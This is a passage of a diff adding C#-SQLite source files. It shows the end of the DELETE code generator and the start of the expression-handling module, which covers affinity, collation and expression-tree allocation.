indices. + */ + Debug.Assert( pTabList.nSrc == 1 ); + iCur = pTabList.a[0].iCursor = pParse.nTab++; + for ( pIdx = pTab.pIndex ; pIdx != null ; pIdx = pIdx.pNext ) + { + pParse.nTab++; + } + +#if !SQLITE_OMIT_AUTHORIZATION +/* Start the view context +*/ +if( isView ){ +sqlite3AuthContextPush(pParse, sContext, pTab.zName); +} +#endif + /* Begin generating code. +*/ + v = sqlite3GetVdbe( pParse ); + if ( v == null ) + { + goto delete_from_cleanup; + } + if ( pParse.nested == 0 ) sqlite3VdbeCountChanges( v ); + sqlite3BeginWriteOperation( pParse, pTrigger != null ? 1 : 0, iDb ); + +#if !SQLITE_OMIT_TRIGGER + if ( pTrigger != null ) + { + int orconf = ( ( pParse.trigStack != null ) ? pParse.trigStack.orconf : OE_Default ); + int iGoto = sqlite3VdbeAddOp0( v, OP_Goto ); + addr = sqlite3VdbeMakeLabel( v ); + + iBeginBeforeTrigger = sqlite3VdbeCurrentAddr( v ); + u32 Ref_0 = 0; + sqlite3CodeRowTrigger( pParse, pTrigger, TK_DELETE, null, + TRIGGER_BEFORE, pTab, -1, oldIdx, orconf, addr, ref old_col_mask, ref Ref_0 ); + iEndBeforeTrigger = sqlite3VdbeAddOp0( v, OP_Goto ); + + iBeginAfterTrigger = sqlite3VdbeCurrentAddr( v ); + Ref_0 = 0; + sqlite3CodeRowTrigger( pParse, pTrigger, TK_DELETE, null, + TRIGGER_AFTER, pTab, -1, oldIdx, orconf, addr, ref old_col_mask, ref Ref_0 ); + iEndAfterTrigger = sqlite3VdbeAddOp0( v, OP_Goto ); + + sqlite3VdbeJumpHere( v, iGoto ); + } +#endif + + /* If we are trying to delete from a view, realize that view into +** a ephemeral table. +*/ +#if !(SQLITE_OMIT_VIEW) && !(SQLITE_OMIT_TRIGGER) + if ( isView ) + { + sqlite3MaterializeView( pParse, pTab, pWhere, iCur ); + } + + /* Resolve the column names in the WHERE clause. + */ + sNC = new NameContext();// memset( &sNC, 0, sizeof( sNC ) ); + sNC.pParse = pParse; + sNC.pSrcList = pTabList; + if ( sqlite3ResolveExprNames( sNC, ref pWhere ) != 0 ) + { + goto delete_from_cleanup; + } +#endif + + /* Initialize the counter of the number of rows deleted, if +** we are counting rows. +*/ + if ( ( db.flags & SQLITE_CountRows ) != 0 ) + { + memCnt = ++pParse.nMem; + sqlite3VdbeAddOp2( v, OP_Integer, 0, memCnt ); + } + +#if !SQLITE_OMIT_TRUNCATE_OPTIMIZATION + /* Special case: A DELETE without a WHERE clause deletes everything. +** It is easier just to erase the whole table. Note, however, that +** this means that the row change count will be incorrect. +*/ + if ( rcauth == SQLITE_OK && pWhere == null && null == pTrigger && !IsVirtual( pTab ) ) + { + Debug.Assert( !isView ); + sqlite3VdbeAddOp4( v, OP_Clear, pTab.tnum, iDb, memCnt, + pTab.zName, P4_STATIC ); + for ( pIdx = pTab.pIndex ; pIdx != null ; pIdx = pIdx.pNext ) + { + Debug.Assert( pIdx.pSchema == pTab.pSchema ); + sqlite3VdbeAddOp2( v, OP_Clear, pIdx.tnum, iDb ); + } + } + else +#endif //* SQLITE_OMIT_TRUNCATE_OPTIMIZATION */ + /* The usual case: There is a WHERE clause so we have to scan through +** the table and pick which records to delete. +*/ + { + int iRowid = ++pParse.nMem; /* Used for storing rowid values. */ + int iRowSet = ++pParse.nMem; /* Register for rowset of rows to delete */ + int regRowid; /* Actual register containing rowids */ + + /* Collect rowids of every row to be deleted. + */ + sqlite3VdbeAddOp2( v, OP_Null, 0, iRowSet ); + ExprList elDummy = null; + pWInfo = sqlite3WhereBegin( pParse, pTabList, pWhere, ref elDummy, WHERE_DUPLICATES_OK ); + if ( pWInfo == null ) goto delete_from_cleanup; + regRowid = sqlite3ExprCodeGetColumn( pParse, pTab, -1, iCur, iRowid, false ); + sqlite3VdbeAddOp2( v, OP_RowSetAdd, iRowSet, regRowid ); + if ( ( db.flags & SQLITE_CountRows ) != 0 ) + { + sqlite3VdbeAddOp2( v, OP_AddImm, memCnt, 1 ); + } + + sqlite3WhereEnd( pWInfo ); + + /* Open the pseudo-table used to store OLD if there are triggers. + */ + if ( pTrigger != null ) + { + sqlite3VdbeAddOp3( v, OP_OpenPseudo, oldIdx, 0, pTab.nCol ); + } + + /* Delete every item whose key was written to the list during the + ** database scan. We have to delete items after the scan is complete + ** because deleting an item can change the scan order. + */ + end = sqlite3VdbeMakeLabel( v ); + + if ( !isView ) + { + /* Open cursors for the table we are deleting from and + ** all its indices. + */ + sqlite3OpenTableAndIndices( pParse, pTab, iCur, OP_OpenWrite ); + } + + /* This is the beginning of the delete loop. If a trigger encounters + ** an IGNORE constraint, it jumps back to here. + */ + if ( pTrigger != null ) + { + sqlite3VdbeResolveLabel( v, addr ); + } + addr = sqlite3VdbeAddOp3( v, OP_RowSetRead, iRowSet, end, iRowid ); + + if ( pTrigger != null ) + { + int iData = ++pParse.nMem; /* For storing row data of OLD table */ + + /* If the record is no longer present in the table, jump to the + ** next iteration of the loop through the contents of the fifo. + */ + sqlite3VdbeAddOp3( v, OP_NotExists, iCur, addr, iRowid ); + + /* Populate the OLD.* pseudo-table */ + if ( old_col_mask != 0 ) + { + sqlite3VdbeAddOp2( v, OP_RowData, iCur, iData ); + } + else + { + sqlite3VdbeAddOp2( v, OP_Null, 0, iData ); + } + sqlite3VdbeAddOp3( v, OP_Insert, oldIdx, iData, iRowid ); + + /* Jump back and run the BEFORE triggers */ + sqlite3VdbeAddOp2( v, OP_Goto, 0, iBeginBeforeTrigger ); + sqlite3VdbeJumpHere( v, iEndBeforeTrigger ); + } + + if ( !isView ) + { + /* Delete the row */ +#if !SQLITE_OMIT_VIRTUALTABLE +if( IsVirtual(pTab) ){ +const char *pVTab = (const char *)sqlite3GetVTable(db, pTab); +sqlite3VtabMakeWritable(pParse, pTab); +sqlite3VdbeAddOp4(v, OP_VUpdate, 0, 1, iRowid, pVTab, P4_VTAB); +}else + +#endif + { + sqlite3GenerateRowDelete( pParse, pTab, iCur, iRowid, pParse.nested == 0 ? 1 : 0 ); + } + } + + /* If there are row triggers, close all cursors then invoke + ** the AFTER triggers + */ + if ( pTrigger != null ) + { + /* Jump back and run the AFTER triggers */ + sqlite3VdbeAddOp2( v, OP_Goto, 0, iBeginAfterTrigger ); + sqlite3VdbeJumpHere( v, iEndAfterTrigger ); + } + + /* End of the delete loop */ + sqlite3VdbeAddOp2( v, OP_Goto, 0, addr ); + sqlite3VdbeResolveLabel( v, end ); + + /* Close the cursors after the loop if there are no row triggers */ + if ( !isView && !IsVirtual( pTab ) ) + { + for ( i = 1, pIdx = pTab.pIndex ; pIdx != null ; i++, pIdx = pIdx.pNext ) + { + sqlite3VdbeAddOp2( v, OP_Close, iCur + i, pIdx.tnum ); + } + sqlite3VdbeAddOp1( v, OP_Close, iCur ); + } + } + + /* Update the sqlite_sequence table by storing the content of the + ** maximum rowid counter values recorded while inserting into + ** autoincrement tables. + */ + if ( pParse.nested == 0 && pParse.trigStack == null ) + { + sqlite3AutoincrementEnd( pParse ); + } + + /* + ** Return the number of rows that were deleted. If this routine is + ** generating code because of a call to sqlite3NestedParse(), do not + ** invoke the callback function. + */ + if ( ( db.flags & SQLITE_CountRows ) != 0 && pParse.nested == 0 && pParse.trigStack == null ) + { + sqlite3VdbeAddOp2( v, OP_ResultRow, memCnt, 1 ); + sqlite3VdbeSetNumCols( v, 1 ); + sqlite3VdbeSetColName( v, 0, COLNAME_NAME, "rows deleted", SQLITE_STATIC ); + } + +delete_from_cleanup: +#if !SQLITE_OMIT_AUTHORIZATION +sqlite3AuthContextPop(sContext); +#endif + sqlite3SrcListDelete( db, ref pTabList ); + sqlite3ExprDelete( db, ref pWhere ); + return; + } + + /* + ** This routine generates VDBE code that causes a single row of a + ** single table to be deleted. + ** + ** The VDBE must be in a particular state when this routine is called. + ** These are the requirements: + ** + ** 1. A read/write cursor pointing to pTab, the table containing the row + ** to be deleted, must be opened as cursor number "base". + ** + ** 2. Read/write cursors for all indices of pTab must be open as + ** cursor number base+i for the i-th index. + ** + ** 3. The record number of the row to be deleted must be stored in + ** memory cell iRowid. + ** + ** This routine pops the top of the stack to remove the record number + ** and then generates code to remove both the table record and all index + ** entries that point to that record. + */ + static void sqlite3GenerateRowDelete( + Parse pParse, /* Parsing context */ + Table pTab, /* Table containing the row to be deleted */ + int iCur, /* VdbeCursor number for the table */ + int iRowid, /* Memory cell that contains the rowid to delete */ + int count /* Increment the row change counter */ + ) + { + int addr; + Vdbe v; + + v = pParse.pVdbe; + addr = sqlite3VdbeAddOp3( v, OP_NotExists, iCur, 0, iRowid ); + sqlite3GenerateRowIndexDelete( pParse, pTab, iCur, 0 ); + sqlite3VdbeAddOp2( v, OP_Delete, iCur, ( count > 0 ? (int)OPFLAG_NCHANGE : 0 ) ); + if ( count > 0 ) + { + sqlite3VdbeChangeP4( v, -1, pTab.zName, P4_STATIC ); + } + sqlite3VdbeJumpHere( v, addr ); + } + + /* + ** This routine generates VDBE code that causes the deletion of all + ** index entries associated with a single row of a single table. + ** + ** The VDBE must be in a particular state when this routine is called. + ** These are the requirements: + ** + ** 1. A read/write cursor pointing to pTab, the table containing the row + ** to be deleted, must be opened as cursor number "iCur". + ** + ** 2. Read/write cursors for all indices of pTab must be open as + ** cursor number iCur+i for the i-th index. + ** + ** 3. The "iCur" cursor must be pointing to the row that is to be + ** deleted. + */ + static void sqlite3GenerateRowIndexDelete( + Parse pParse, /* Parsing and code generating context */ + Table pTab, /* Table containing the row to be deleted */ + int iCur, /* VdbeCursor number for the table */ + int nothing /* Only delete if aRegIdx!=0 && aRegIdx[i]>0 */ + ) + { + int[] aRegIdx = null; + sqlite3GenerateRowIndexDelete( pParse, pTab, iCur, aRegIdx ); + } + static void sqlite3GenerateRowIndexDelete( + Parse pParse, /* Parsing and code generating context */ + Table pTab, /* Table containing the row to be deleted */ + int iCur, /* VdbeCursor number for the table */ + int[] aRegIdx /* Only delete if aRegIdx!=0 && aRegIdx[i]>0 */ + ) + { + int i; + Index pIdx; + int r1; + + for ( i = 1, pIdx = pTab.pIndex ; pIdx != null ; i++, pIdx = pIdx.pNext ) + { + if ( aRegIdx != null && aRegIdx[i - 1] == 0 ) continue; + r1 = sqlite3GenerateIndexKey( pParse, pIdx, iCur, 0, false ); + sqlite3VdbeAddOp3( pParse.pVdbe, OP_IdxDelete, iCur + i, r1, pIdx.nColumn + 1 ); + } + } + + /* + ** Generate code that will assemble an index key and put it in register + ** regOut. The key with be for index pIdx which is an index on pTab. + ** iCur is the index of a cursor open on the pTab table and pointing to + ** the entry that needs indexing. + ** + ** Return a register number which is the first in a block of + ** registers that holds the elements of the index key. The + ** block of registers has already been deallocated by the time + ** this routine returns. + */ + static int sqlite3GenerateIndexKey( + Parse pParse, /* Parsing context */ + Index pIdx, /* The index for which to generate a key */ + int iCur, /* VdbeCursor number for the pIdx.pTable table */ + int regOut, /* Write the new index key to this register */ + bool doMakeRec /* Run the OP_MakeRecord instruction if true */ + ) + { + Vdbe v = pParse.pVdbe; + int j; + Table pTab = pIdx.pTable; + int regBase; + int nCol; + + nCol = pIdx.nColumn; + regBase = sqlite3GetTempRange( pParse, nCol + 1 ); + sqlite3VdbeAddOp2( v, OP_Rowid, iCur, regBase + nCol ); + for ( j = 0 ; j < nCol ; j++ ) + { + int idx = pIdx.aiColumn[j]; + if ( idx == pTab.iPKey ) + { + sqlite3VdbeAddOp2( v, OP_SCopy, regBase + nCol, regBase + j ); + } + else + { + sqlite3VdbeAddOp3( v, OP_Column, iCur, idx, regBase + j ); + sqlite3ColumnDefault( v, pTab, idx, -1 ); + } + } + if ( doMakeRec ) + { + sqlite3VdbeAddOp3( v, OP_MakeRecord, regBase, nCol + 1, regOut ); + sqlite3IndexAffinityStr( v, pIdx ); + sqlite3ExprCacheAffinityChange( pParse, regBase, nCol + 1 ); + } + sqlite3ReleaseTempRange( pParse, regBase, nCol + 1 ); + return regBase; + } + /* Make sure "isView" gets undefined in case this file becomes part of + ** the amalgamation - so that subsequent files do not see isView as a + ** macro. */ + //#undef isView + } +} diff --git a/SQLite/src/expr_c.cs b/SQLite/src/expr_c.cs new file mode 100644 index 0000000..d6e0948 --- /dev/null +++ b/SQLite/src/expr_c.cs @@ -0,0 +1,4108 @@ +#define SQLITE_MAX_EXPR_DEPTH + +using System; +using System.Diagnostics; +using System.Text; + +using Bitmask = System.UInt64; +using i64 = System.Int64; +using u8 = System.Byte; +using u32 = System.UInt32; +using u16 = System.UInt16; + +using Pgno = System.UInt32; + +namespace CS_SQLite3 +{ + public partial class CSSQLite + { + /* + ** 2001 September 15 + ** + ** The author disclaims copyright to this source code. In place of + ** a legal notice, here is a blessing: + ** + ** May you do good and not evil. + ** May you find forgiveness for yourself and forgive others. + ** May you share freely, never taking more than you give. + ** + ************************************************************************* + ** This file contains routines used for analyzing expressions and + ** for generating VDBE code that evaluates expressions in SQLite. + ** + ** $Id: expr.c,v 1.448 2009/07/27 10:05:05 danielk1977 Exp $ + ** + ************************************************************************* + ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart + ** C#-SQLite is an independent reimplementation of the SQLite software library + ** + ** $Header$ + ************************************************************************* + */ + //#include "sqliteInt.h" + + /* + ** Return the 'affinity' of the expression pExpr if any. + ** + ** If pExpr is a column, a reference to a column via an 'AS' alias, + ** or a sub-select with a column as the return value, then the + ** affinity of that column is returned. Otherwise, 0x00 is returned, + ** indicating no affinity for the expression. + ** + ** i.e. the WHERE clause expresssions in the following statements all + ** have an affinity: + ** + ** CREATE TABLE t1(a); + ** SELECT * FROM t1 WHERE a; + ** SELECT a AS b FROM t1 WHERE b; + ** SELECT * FROM t1 WHERE (select a from t1); + */ + static char sqlite3ExprAffinity( Expr pExpr ) + { + int op = pExpr.op; + if ( op == TK_SELECT ) + { + Debug.Assert( ( pExpr.flags & EP_xIsSelect ) != 0 ); + return sqlite3ExprAffinity( pExpr.x.pSelect.pEList.a[0].pExpr ); + } +#if !SQLITE_OMIT_CAST + if ( op == TK_CAST ) + { + Debug.Assert( !ExprHasProperty( pExpr, EP_IntValue ) ); + return sqlite3AffinityType( pExpr.u.zToken ); + } +#endif + if ( ( op == TK_AGG_COLUMN || op == TK_COLUMN || op == TK_REGISTER ) + && pExpr.pTab != null + ) + { + /* op==TK_REGISTER && pExpr.pTab!=0 happens when pExpr was originally + ** a TK_COLUMN but was previously evaluated and cached in a register */ + int j = pExpr.iColumn; + if ( j < 0 ) return SQLITE_AFF_INTEGER; + Debug.Assert( pExpr.pTab != null && j < pExpr.pTab.nCol ); + return pExpr.pTab.aCol[j].affinity; + } + return pExpr.affinity; + } + + /* + ** Set the collating sequence for expression pExpr to be the collating + ** sequence named by pToken. Return a pointer to the revised expression. + ** The collating sequence is marked as "explicit" using the EP_ExpCollate + ** flag. An explicit collating sequence will override implicit + ** collating sequences. + */ + static Expr sqlite3ExprSetColl( Parse pParse, Expr pExpr, Token pCollName ) + { + string zColl; /* Dequoted name of collation sequence */ + CollSeq pColl; + sqlite3 db = pParse.db; + zColl = sqlite3NameFromToken( db, pCollName ); + if ( pExpr != null && zColl != null ) + { + pColl = sqlite3LocateCollSeq( pParse, zColl ); + if ( pColl != null ) + { + pExpr.pColl = pColl; + pExpr.flags |= EP_ExpCollate; + } + } + //sqlite3DbFree( db, ref zColl ); + return pExpr; + } + + /* + ** Return the default collation sequence for the expression pExpr. If + ** there is no default collation type, return 0. + */ + static CollSeq sqlite3ExprCollSeq( Parse pParse, Expr pExpr ) + { + CollSeq pColl = null; + Expr p = pExpr; + while ( ALWAYS( p != null ) ) + { + int op; + pColl = pExpr.pColl; + if (pColl != null ) break; + op = p.op; + if ( ( op == TK_AGG_COLUMN || op == TK_COLUMN || op == TK_REGISTER ) && p.pTab != null ) + { + /* op==TK_REGISTER && p->pTab!=0 happens when pExpr was originally + ** a TK_COLUMN but was previously evaluated and cached in a register */ + string zColl; + int j = p.iColumn; + if ( j >= 0 ) + { + sqlite3 db = pParse.db; + zColl = p.pTab.aCol[j].zColl; + pColl = sqlite3FindCollSeq( db, ENC( db ), zColl, 0 ); + pExpr.pColl = pColl; + } + break; + } + if ( op != TK_CAST && op != TK_UPLUS ) + { + break; + } + p = p.pLeft; + } + if ( sqlite3CheckCollSeq( pParse, pColl ) != 0 ) + { + pColl = null; + } + return pColl; + } + + /* + ** pExpr is an operand of a comparison operator. aff2 is the + ** type affinity of the other operand. This routine returns the + ** type affinity that should be used for the comparison operator. + */ + static char sqlite3CompareAffinity( Expr pExpr, char aff2 ) + { + char aff1 = sqlite3ExprAffinity( pExpr ); + if ( aff1 != '\0' && aff2 != '\0' ) + { + /* Both sides of the comparison are columns. If one has numeric + ** affinity, use that. Otherwise use no affinity. + */ + if ( aff1 >= SQLITE_AFF_NUMERIC || aff2 >= SQLITE_AFF_NUMERIC ) + // if (sqlite3IsNumericAffinity(aff1) || sqlite3IsNumericAffinity(aff2)) + { + return SQLITE_AFF_NUMERIC; + } + else + { + return SQLITE_AFF_NONE; + } + } + else if ( aff1 == '\0' && aff2 == '\0' ) + { + /* Neither side of the comparison is a column. Compare the + ** results directly. + */ + return SQLITE_AFF_NONE; + } + else + { + /* One side is a column, the other is not. Use the columns affinity. */ + Debug.Assert( aff1 == 0 || aff2 == 0 ); + return ( aff1 != '\0' ? aff1 : aff2 ); + } + } + + /* + ** pExpr is a comparison operator. Return the type affinity that should + ** be applied to both operands prior to doing the comparison. + */ + static char comparisonAffinity( Expr pExpr ) + { + char aff; + Debug.Assert( pExpr.op == TK_EQ || pExpr.op == TK_IN || pExpr.op == TK_LT || + pExpr.op == TK_GT || pExpr.op == TK_GE || pExpr.op == TK_LE || + pExpr.op == TK_NE ); + Debug.Assert( pExpr.pLeft != null ); + aff = sqlite3ExprAffinity( pExpr.pLeft ); + if ( pExpr.pRight != null ) + { + aff = sqlite3CompareAffinity( pExpr.pRight, aff ); + } + else if ( ExprHasProperty( pExpr, EP_xIsSelect ) ) + { + aff = sqlite3CompareAffinity( pExpr.x.pSelect.pEList.a[0].pExpr, aff ); + } + else if ( aff == '\0' ) + { + aff = SQLITE_AFF_NONE; + } + return aff; + } + + /* + ** pExpr is a comparison expression, eg. '=', '<', IN(...) etc. + ** idx_affinity is the affinity of an indexed column. Return true + ** if the index with affinity idx_affinity may be used to implement + ** the comparison in pExpr. + */ + static bool sqlite3IndexAffinityOk( Expr pExpr, char idx_affinity ) + { + char aff = comparisonAffinity( pExpr ); + switch ( aff ) + { + case SQLITE_AFF_NONE: + return true; + case SQLITE_AFF_TEXT: + return idx_affinity == SQLITE_AFF_TEXT; + default: + return idx_affinity >= SQLITE_AFF_NUMERIC;// sqlite3IsNumericAffinity(idx_affinity); + } + } + + /* + ** Return the P5 value that should be used for a binary comparison + ** opcode (OP_Eq, OP_Ge etc.) used to compare pExpr1 and pExpr2. + */ + static u8 binaryCompareP5( Expr pExpr1, Expr pExpr2, int jumpIfNull ) + { + u8 aff = (u8)sqlite3ExprAffinity( pExpr2 ); + aff = (u8)( (u8)sqlite3CompareAffinity( pExpr1, (char)aff ) | (u8)jumpIfNull ); + return aff; + } + + /* + ** Return a pointer to the collation sequence that should be used by + ** a binary comparison operator comparing pLeft and pRight. + ** + ** If the left hand expression has a collating sequence type, then it is + ** used. Otherwise the collation sequence for the right hand expression + ** is used, or the default (BINARY) if neither expression has a collating + ** type. + ** + ** Argument pRight (but not pLeft) may be a null pointer. In this case, + ** it is not considered. + */ + static CollSeq sqlite3BinaryCompareCollSeq( + Parse pParse, + Expr pLeft, + Expr pRight + ) + { + CollSeq pColl; + Debug.Assert( pLeft != null ); + if ( ( pLeft.flags & EP_ExpCollate ) != 0 ) + { + Debug.Assert( pLeft.pColl != null ); + pColl = pLeft.pColl; + } + else if ( pRight != null && ( ( pRight.flags & EP_ExpCollate ) != 0 ) ) + { + Debug.Assert( pRight.pColl != null ); + pColl = pRight.pColl; + } + else + { + pColl = sqlite3ExprCollSeq( pParse, pLeft ); + if ( pColl == null ) + { + pColl = sqlite3ExprCollSeq( pParse, pRight ); + } + } + return pColl; + } + + /* + ** Generate the operands for a comparison operation. Before + ** generating the code for each operand, set the EP_AnyAff + ** flag on the expression so that it will be able to used a + ** cached column value that has previously undergone an + ** affinity change. + */ + static void codeCompareOperands( + Parse pParse, /* Parsing and code generating context */ + Expr pLeft, /* The left operand */ + ref int pRegLeft, /* Register where left operand is stored */ + ref int pFreeLeft, /* Free this register when done */ + Expr pRight, /* The right operand */ + ref int pRegRight, /* Register where right operand is stored */ + ref int pFreeRight /* Write temp register for right operand there */ + ) + { + + while ( pLeft.op == TK_UPLUS ) pLeft = pLeft.pLeft; + pLeft.flags |= EP_AnyAff; + pRegLeft = sqlite3ExprCodeTemp( pParse, pLeft, ref pFreeLeft ); + while ( pRight.op == TK_UPLUS ) pRight = pRight.pLeft; + pRight.flags |= EP_AnyAff; + pRegRight = sqlite3ExprCodeTemp( pParse, pRight, ref pFreeRight ); + } + + /* + ** Generate code for a comparison operator. + */ + static int codeCompare( + Parse pParse, /* The parsing (and code generating) context */ + Expr pLeft, /* The left operand */ + Expr pRight, /* The right operand */ + int opcode, /* The comparison opcode */ + int in1, int in2, /* Register holding operands */ + int dest, /* Jump here if true. */ + int jumpIfNull /* If true, jump if either operand is NULL */ + ) + { + int p5; + int addr; + CollSeq p4; + + p4 = sqlite3BinaryCompareCollSeq( pParse, pLeft, pRight ); + p5 = binaryCompareP5( pLeft, pRight, jumpIfNull ); + addr = sqlite3VdbeAddOp4( pParse.pVdbe, opcode, in2, dest, in1, + p4, P4_COLLSEQ ); + sqlite3VdbeChangeP5( pParse.pVdbe, (u8)p5 ); + if ( ( p5 & SQLITE_AFF_MASK ) != SQLITE_AFF_NONE ) + { + sqlite3ExprCacheAffinityChange( pParse, in1, 1 ); + sqlite3ExprCacheAffinityChange( pParse, in2, 1 ); + } + return addr; + } + +#if SQLITE_MAX_EXPR_DEPTH //>0 + /* +** Check that argument nHeight is less than or equal to the maximum +** expression depth allowed. If it is not, leave an error message in +** pParse. +*/ + static int sqlite3ExprCheckHeight( Parse pParse, int nHeight ) + { + int rc = SQLITE_OK; + int mxHeight = pParse.db.aLimit[SQLITE_LIMIT_EXPR_DEPTH]; + if ( nHeight > mxHeight ) + { + sqlite3ErrorMsg( pParse, + "Expression tree is too large (maximum depth %d)", mxHeight + ); + rc = SQLITE_ERROR; + } + return rc; + } + + /* The following three functions, heightOfExpr(), heightOfExprList() + ** and heightOfSelect(), are used to determine the maximum height + ** of any expression tree referenced by the structure passed as the + ** first argument. + ** + ** If this maximum height is greater than the current value pointed + ** to by pnHeight, the second parameter, then set pnHeight to that + ** value. + */ + static void heightOfExpr( Expr p, ref int pnHeight ) + { + if ( p != null ) + { + if ( p.nHeight > pnHeight ) + { + pnHeight = p.nHeight; + } + } + } + static void heightOfExprList( ExprList p, ref int pnHeight ) + { + if ( p != null ) + { + int i; + for ( i = 0 ; i < p.nExpr ; i++ ) + { + heightOfExpr( p.a[i].pExpr, ref pnHeight ); + } + } + } + static void heightOfSelect( Select p, ref int pnHeight ) + { + if ( p != null ) + { + heightOfExpr( p.pWhere, ref pnHeight ); + heightOfExpr( p.pHaving, ref pnHeight ); + heightOfExpr( p.pLimit, ref pnHeight ); + heightOfExpr( p.pOffset, ref pnHeight ); + heightOfExprList( p.pEList, ref pnHeight ); + heightOfExprList( p.pGroupBy, ref pnHeight ); + heightOfExprList( p.pOrderBy, ref pnHeight ); + heightOfSelect( p.pPrior, ref pnHeight ); + } + } + + /* + ** Set the Expr.nHeight variable in the structure passed as an + ** argument. An expression with no children, Expr.x.pList or + ** Expr.x.pSelect member has a height of 1. Any other expression + ** has a height equal to the maximum height of any other + ** referenced Expr plus one. + */ + static void exprSetHeight( Expr p ) + { + int nHeight = 0; + heightOfExpr( p.pLeft, ref nHeight ); + heightOfExpr( p.pRight, ref nHeight ); + if ( ExprHasProperty( p, EP_xIsSelect ) ) + { + heightOfSelect( p.x.pSelect, ref nHeight ); + } + else + { + heightOfExprList( p.x.pList, ref nHeight ); + } + p.nHeight = nHeight + 1; + } + + /* + ** Set the Expr.nHeight variable using the exprSetHeight() function. If + ** the height is greater than the maximum allowed expression depth, + ** leave an error in pParse. + */ + static void sqlite3ExprSetHeight( Parse pParse, Expr p ) + { + exprSetHeight( p ); + sqlite3ExprCheckHeight( pParse, p.nHeight ); + } + + /* + ** Return the maximum height of any expression tree referenced + ** by the select statement passed as an argument. + */ + static int sqlite3SelectExprHeight( Select p ) + { + int nHeight = 0; + heightOfSelect( p, ref nHeight ); + return nHeight; + } +#else +//#define exprSetHeight(y) +#endif //* SQLITE_MAX_EXPR_DEPTH>0 */ + + /* +** This routine is the core allocator for Expr nodes. +** +** Construct a new expression node and return a pointer to it. Memory +** for this node and for the pToken argument is a single allocation +** obtained from sqlite3DbMalloc(). The calling function +** is responsible for making sure the node eventually gets freed. +** +** If dequote is true, then the token (if it exists) is dequoted. +** If dequote is false, no dequoting is performance. The deQuote +** parameter is ignored if pToken is NULL or if the token does not +** appear to be quoted. If the quotes were of the form "..." (double-quotes) +** then the EP_DblQuoted flag is set on the expression node. +** +** Special case: If op==TK_INTEGER and pToken points to a string that +** can be translated into a 32-bit integer, then the token is not +** stored in u.zToken. Instead, the integer values is written +** into u.iValue and the EP_IntValue flag is set. No extra storage +** is allocated to hold the integer text and the dequote flag is ignored. +*/ + static Expr sqlite3ExprAlloc( + sqlite3 db, /* Handle for sqlite3DbMallocZero() (may be null) */ + int op, /* Expression opcode */ + Token pToken, /* Token argument. Might be NULL */ + int dequote /* True to dequote */ + ) + { + Expr pNew; + int nExtra = 0; + int iValue = 0; + + if ( pToken != null ) + { + if ( op != TK_INTEGER || pToken.z == null || pToken.z.Length == 0 + || sqlite3GetInt32( pToken.z.ToString(), ref iValue ) == false ) + { + nExtra = pToken.n + 1; + } + } + pNew = new Expr();//sqlite3DbMallocZero(db, sizeof(Expr)+nExtra); + if ( pNew != null ) + { + pNew.op = (u8)op; + pNew.iAgg = -1; + if ( pToken != null ) + { + if ( nExtra == 0 ) + { + pNew.flags |= EP_IntValue; + pNew.u.iValue = iValue; + } + else + { + int c; + //pNew.u.zToken = (char*)&pNew[1]; + if ( pToken.n > 0 ) pNew.u.zToken = pToken.z.Substring( 0, pToken.n );//memcpy(pNew.u.zToken, pToken.z, pToken.n); + //pNew.u.zToken[pToken.n] = 0; + if ( dequote != 0 && nExtra >= 3 + && ( ( c = pToken.z[0] ) == '\'' || c == '"' || c == '[' || c == '`' ) ) + { +#if DEBUG_CLASS_EXPR || DEBUG_CLASS_ALL +sqlite3Dequote(ref pNew.u._zToken); +#else + sqlite3Dequote( ref pNew.u.zToken ); +#endif + if ( c == '"' ) pNew.flags |= EP_DblQuoted; + } + } + } +#if SQLITE_MAX_EXPR_DEPTH//>0 + pNew.nHeight = 1; +#endif + } + return pNew; + } + + /* + ** Allocate a new expression node from a zero-terminated token that has + ** already been dequoted. + */ + static Expr sqlite3Expr( + sqlite3 db, /* Handle for sqlite3DbMallocZero() (may be null) */ + int op, /* Expression opcode */ + string zToken /* Token argument. Might be NULL */ + ) + { + Token x = new Token(); + x.z = zToken; + x.n = !String.IsNullOrEmpty( zToken ) ? sqlite3Strlen30( zToken ) : 0; + return sqlite3ExprAlloc( db, op, x, 0 ); + } + + /* + ** Attach subtrees pLeft and pRight to the Expr node pRoot. + ** + ** If pRoot==NULL that means that a memory allocation error has occurred. + ** In that case, delete the subtrees pLeft and pRight. + */ + static void sqlite3ExprAttachSubtrees( + sqlite3 db, + Expr pRoot, + Expr pLeft, + Expr pRight + ) + { + if ( pRoot == null ) + { + //Debug.Assert( db.mallocFailed != 0 ); + sqlite3ExprDelete( db, ref pLeft ); + sqlite3ExprDelete( db, ref pRight ); + } + else + { + if ( pRight != null ) + { + pRoot.pRight = pRight; + if ( ( pRight.flags & EP_ExpCollate ) != 0 ) + { + pRoot.flags |= EP_ExpCollate; + pRoot.pColl = pRight.pColl; + } + } + if ( pLeft != null ) + { + pRoot.pLeft = pLeft; + if ( ( pLeft.flags & EP_ExpCollate ) != 0 ) + { + pRoot.flags |= EP_ExpCollate; + pRoot.pColl = pLeft.pColl; + } + } + exprSetHeight( pRoot ); + } + } + + /* + ** Allocate a Expr node which joins as many as two subtrees. + ** + ** One or both of the subtrees can be NULL. Return a pointer to the new + ** Expr node. Or, if an OOM error occurs, set pParse->db->mallocFailed, + ** free the subtrees and return NULL. + */ + // OVERLOADS, so I don't need to rewrite parse.c + static Expr sqlite3PExpr( Parse pParse, int op, int null_3, int null_4, int null_5 ) + { + return sqlite3PExpr( pParse, op, null, null, null ); + } + static Expr sqlite3PExpr( Parse pParse, int op, int null_3, int null_4, Token pToken ) + { + return sqlite3PExpr( pParse, op, null, null, pToken ); + } + static Expr sqlite3PExpr( Parse pParse, int op, Expr pLeft, int null_4, int null_5 ) + { + return sqlite3PExpr( pParse, op, pLeft, null, null ); + } + static Expr sqlite3PExpr( Parse pParse, int op, Expr pLeft, int null_4, Token pToken ) + { + return sqlite3PExpr( pParse, op, pLeft, null, pToken ); + } + static Expr sqlite3PExpr( Parse pParse, int op, Expr pLeft, Expr pRight, int null_5 ) + { + return sqlite3PExpr( pParse, op, pLeft, pRight, null ); + } + static Expr sqlite3PExpr( + Parse pParse, /* Parsing context */ + int op, /* Expression opcode */ + Expr pLeft, /* Left operand */ + Expr pRight, /* Right operand */ + Token pToken /* Argument Token */ + ) + { + Expr p = sqlite3ExprAlloc( pParse.db, op, pToken, 1 ); + sqlite3ExprAttachSubtrees( pParse.db, p, pLeft, pRight ); + return p; + } + + + /* + ** When doing a nested parse, you can include terms in an expression + ** that look like this: #1 #2 ... These terms refer to registers + ** in the 